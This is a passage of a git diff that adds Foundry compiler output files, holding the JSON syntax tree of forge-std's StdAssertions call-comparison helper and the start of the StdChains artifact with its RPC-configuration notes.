match\""}],"id":2622,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":667,"src":"22541:8:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory,string memory) pure"}},"id":2626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22541:69:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2627,"nodeType":"ExpressionStatement","src":"22541:69:1"}]}},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":2636,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":2634,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":2631,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"22635:9:1","subExpression":{"id":2630,"name":"successA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2596,"src":"22636:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":2633,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"22648:9:1","subExpression":{"id":2632,"name":"successB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2608,"src":"22649:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"22635:22:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":2635,"name":"strictRevertData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2592,"src":"22661:16:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"22635:42:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":2644,"nodeType":"IfStatement","src":"22631:142:1","trueBody":{"id":2643,"nodeType":"Block","src":"22679:94:1","statements":[{"expression":{"arguments":[{"id":2638,"name":"returnDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2598,"src":"22702:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2639,"name":"returnDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2610,"src":"22715:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"43616c6c20726576657274206461746120646f6573206e6f74206d61746368","id":2640,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22728:33:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_428332fc36b72ecad0a5d9bab5b9a568a85eeb20fd69ffcfbf4cf91598a0c858","typeString":"literal_string \"Call revert data does not match\""},"value":"Call revert data does not match"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_428332fc36b72ecad0a5d9bab5b9a568a85eeb20fd69ffcfbf4cf91598a0c858","typeString":"literal_string \"Call revert data does not match\""}],"id":2637,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":667,"src":"22693:8:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory,string memory) pure"}},"id":2641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22693:69:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2642,"nodeType":"ExpressionStatement","src":"22693:69:1"}]}},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":2648,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":2646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"22787:9:1","subExpression":{"id":2645,"name":"successA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2596,"src":"22788:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":2647,"name":"successB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2608,"src":"22800:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"22787:21:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":2668,"nodeType":"IfStatement","src":"22783:279:1","trueBody":{"id":2667,"nodeType":"Block","src":"22810:252:1","statements":[{"eventCall":{"arguments":[{"hexValue":"4572726f723a2043616c6c732077657265206e6f7420657175616c","id":2650,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22833:29:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_6693dff23bd870151cc1817cba0ac95847c6f34adf907b7a38759066cb467c90","typeString":"literal_string \"Error: Calls were not equal\""},"value":"Error: Calls were not equal"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6693dff23bd870151cc1817cba0ac95847c6f34adf907b7a38759066cb467c90","typeString":"literal_string \"Error: Calls were not equal\""}],"id":2649,"name":"log","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":100,"src":"22829:3:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory)"}},"id":2651,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22829:34:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2652,"nodeType":"EmitStatement","src":"22824:39:1"},{"eventCall":{"arguments":[{"hexValue":"20204c6566742063616c6c207265766572742064617461","id":2654,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22898:25:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_d7308eff46cc177523801826a9076ec6e32f003b8da409c4d39812f8e534c573","typeString":"literal_string \" Left call revert data\""},"value":" Left call revert data"},{"id":2655,"name":"returnDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2598,"src":"22925:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d7308eff46cc177523801826a9076ec6e32f003b8da409c4d39812f8e534c573","typeString":"literal_string \" Left call revert data\""},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2653,"name":"log_named_bytes","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":174,"src":"22882:15:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (string memory,bytes memory)"}},"id":2656,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22882:55:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2657,"nodeType":"EmitStatement","src":"22877:60:1"},{"eventCall":{"arguments":[{"hexValue":"2052696768742063616c6c2072657475726e2064617461","id":2659,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22972:25:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_688c5b0ecbf27f0fe1b748e920d97ecaaa6ff424050ac2e32936b79dcfbe27d9","typeString":"literal_string \" Right call return data\""},"value":" Right call return data"},{"id":2660,"name":"returnDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2610,"src":"22999:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_688c5b0ecbf27f0fe1b748e920d97ecaaa6ff424050ac2e32936b79dcfbe27d9","typeString":"literal_string \" Right call return data\""},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2658,"name":"log_named_bytes","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":174,"src":"22956:15:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (string memory,bytes memory)"}},"id":2661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22956:55:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2662,"nodeType":"EmitStatement","src":"22951:60:1"},{"expression":{"arguments":[{"hexValue":"617373657274696f6e206661696c6564","id":2664,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23032:18:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_910fca84d7bc8626033cda755c68874e06b12804a259b62d81fd5511cbce7e1b","typeString":"literal_string \"assertion failed\""},"value":"assertion failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_910fca84d7bc8626033cda755c68874e06b12804a259b62d81fd5511cbce7e1b","typeString":"literal_string \"assertion failed\""}],"id":2663,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"23025:6:1","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":2665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23025:26:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2666,"nodeType":"ExpressionStatement","src":"23025:26:1"}]}},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":2672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":2669,"name":"successA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2596,"src":"23076:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":2671,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"23088:9:1","subExpression":{"id":2670,"name":"successB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2608,"src":"23089:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"23076:21:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":2692,"nodeType":"IfStatement","src":"23072:279:1","trueBody":{"id":2691,"nodeType":"Block","src":"23099:252:1","statements":[{"eventCall":{"arguments":[{"hexValue":"4572726f723a2043616c6c732077657265206e6f7420657175616c","id":2674,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23122:29:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_6693dff23bd870151cc1817cba0ac95847c6f34adf907b7a38759066cb467c90","typeString":"literal_string \"Error: Calls were not equal\""},"value":"Error: Calls were not equal"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6693dff23bd870151cc1817cba0ac95847c6f34adf907b7a38759066cb467c90","typeString":"literal_string \"Error: Calls were not equal\""}],"id":2673,"name":"log","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":100,"src":"23118:3:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory)"}},"id":2675,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23118:34:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2676,"nodeType":"EmitStatement","src":"23113:39:1"},{"eventCall":{"arguments":[{"hexValue":"20204c6566742063616c6c2072657475726e2064617461","id":2678,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23187:25:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_596a9779ba89cf63b8ee3ff9d9ab391dc33d379f762c747717807c6af488f86f","typeString":"literal_string \" Left call return data\""},"value":" Left call return data"},{"id":2679,"name":"returnDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2598,"src":"23214:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_596a9779ba89cf63b8ee3ff9d9ab391dc33d379f762c747717807c6af488f86f","typeString":"literal_string \" Left call return data\""},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2677,"name":"log_named_bytes","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":174,"src":"23171:15:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (string memory,bytes memory)"}},"id":2680,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23171:55:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2681,"nodeType":"EmitStatement","src":"23166:60:1"},{"eventCall":{"arguments":[{"hexValue":"2052696768742063616c6c207265766572742064617461","id":2683,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23261:25:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_07ebd1833884933dbc5d408273462f380b6eb526f9bb29a66115cfe3ede76145","typeString":"literal_string \" Right call revert data\""},"value":" Right call revert data"},{"id":2684,"name":"returnDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2610,"src":"23288:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_07ebd1833884933dbc5d408273462f380b6eb526f9bb29a66115cfe3ede76145","typeString":"literal_string \" Right call revert data\""},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2682,"name":"log_named_bytes","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":174,"src":"23245:15:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (string memory,bytes memory)"}},"id":2685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23245:55:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2686,"nodeType":"EmitStatement","src":"23240:60:1"},{"expression":{"arguments":[{"hexValue":"617373657274696f6e206661696c6564","id":2688,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23321:18:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_910fca84d7bc8626033cda755c68874e06b12804a259b62d81fd5511cbce7e1b","typeString":"literal_string \"assertion failed\""},"value":"assertion failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_910fca84d7bc8626033cda755c68874e06b12804a259b62d81fd5511cbce7e1b","typeString":"literal_string \"assertion failed\""}],"id":2687,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"23314:6:1","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":2689,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23314:26:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2690,"nodeType":"ExpressionStatement","src":"23314:26:1"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqCall","nameLocation":"22137:12:1","parameters":{"id":2593,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2584,"mutability":"mutable","name":"targetA","nameLocation":"22167:7:1","nodeType":"VariableDeclaration","scope":2694,"src":"22159:15:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":2583,"name":"address","nodeType":"ElementaryTypeName","src":"22159:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":2586,"mutability":"mutable","name":"callDataA","nameLocation":"22197:9:1","nodeType":"VariableDeclaration","scope":2694,"src":"22184:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2585,"name":"bytes","nodeType":"ElementaryTypeName","src":"22184:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2588,"mutability":"mutable","name":"targetB","nameLocation":"22224:7:1","nodeType":"VariableDeclaration","scope":2694,"src":"22216:15:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":2587,"name":"address","nodeType":"ElementaryTypeName","src":"22216:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":2590,"mutability":"mutable","name":"callDataB","nameLocation":"22254:9:1","nodeType":"VariableDeclaration","scope":2694,"src":"22241:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2589,"name":"bytes","nodeType":"ElementaryTypeName","src":"22241:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2592,"mutability":"mutable","name":"strictRevertData","nameLocation":"22278:16:1","nodeType":"VariableDeclaration","scope":2694,"src":"22273:21:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":2591,"name":"bool","nodeType":"ElementaryTypeName","src":"22273:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22149:151:1"},"returnParameters":{"id":2594,"nodeType":"ParameterList","parameters":[],"src":"22318:0:1"},"scope":2695,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"StdAssertions","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[2695],"name":"StdAssertions","nameLocation":"147:13:1","scope":2696,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":1} \ No newline at end of file diff --git a/contracts/out/StdChains.sol/StdChains.json b/contracts/out/StdChains.sol/StdChains.json new file mode 100644 index 000000000..0968636e1 --- /dev/null +++ b/contracts/out/StdChains.sol/StdChains.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"notice\":\"StdChains provides information about EVM compatible chains that can be used in scripts/tests. For each chain, the chain's name, chain ID, and a default RPC URL are provided. Chains are identified by their alias, which is the same as the alias in the `[rpc_endpoints]` section of the `foundry.toml` file. For best UX, ensure the alias in the `foundry.toml` file match the alias used in this contract, which can be found as the first argument to the `setChainWithDefaultRpcUrl` call in the `initializeStdChains` function. There are two main ways to use this contract: 1. Set a chain with `setChain(string memory chainAlias, ChainData memory chain)` or `setChain(string memory chainAlias, Chain memory chain)` 2. Get a chain with `getChain(string memory chainAlias)` or `getChain(uint256 chainId)`. The first time either of those are used, chains are initialized with the default set of RPC URLs. This is done in `initializeStdChains`, which uses `setChainWithDefaultRpcUrl`. Defaults are recorded in `defaultRpcUrls`. The `setChain` function is straightforward, and it simply saves off the given chain data. The `getChain` methods use `getChainWithUpdatedRpcUrl` to return a chain. For example, let's say we want to retrieve the RPC URL for `mainnet`: - If you have specified data with `setChain`, it will return that. - If you have configured a mainnet RPC URL in `foundry.toml`, it will return the URL, provided it is valid (e.g. a URL is specified, or an environment variable is given and exists). - If neither of the above conditions is met, the default data is returned. Summarizing the above, the prioritization hierarchy is `setChain` -> `foundry.toml` -> environment variable -> defaults.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdChains.sol\":\"StdChains\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdChains.sol":"StdChains"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdChains.sol","id":3478,"exportedSymbols":{"StdChains":[3477],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"32:11825:2","nodes":[{"id":2697,"nodeType":"PragmaDirective","src":"32:31:2","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":2699,"nodeType":"ImportDirective","src":"65:32:2","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":3478,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":2698,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"73:6:2","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":3477,"nodeType":"ContractDefinition","src":"1899:9957:2","nodes":[{"id":2717,"nodeType":"VariableDeclaration","src":"1933:92:2","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"1957:2:2","scope":3477,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":2702,"nodeType":"UserDefinedTypeName","pathNode":{"id":2701,"name":"VmSafe","nameLocations":["1933:6:2"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"1933:6:2"},"referencedDeclaration":15098,"src":"1933:6:2","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":2711,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2003:17:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":2710,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"1993:9:2","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":2712,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1993:28:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":2709,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1985:7:2","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":2708,"name":"uint256","nodeType":"ElementaryTypeName","src":"1985:7:2","typeDescriptions":{}}},"id":2713,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1985:37:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":2707,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1977:7:2","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":2706,"name":"uint160","nodeType":"ElementaryTypeName","src":"1977:7:2","typeDescriptions":{}}},"id":2714,"isConstant":f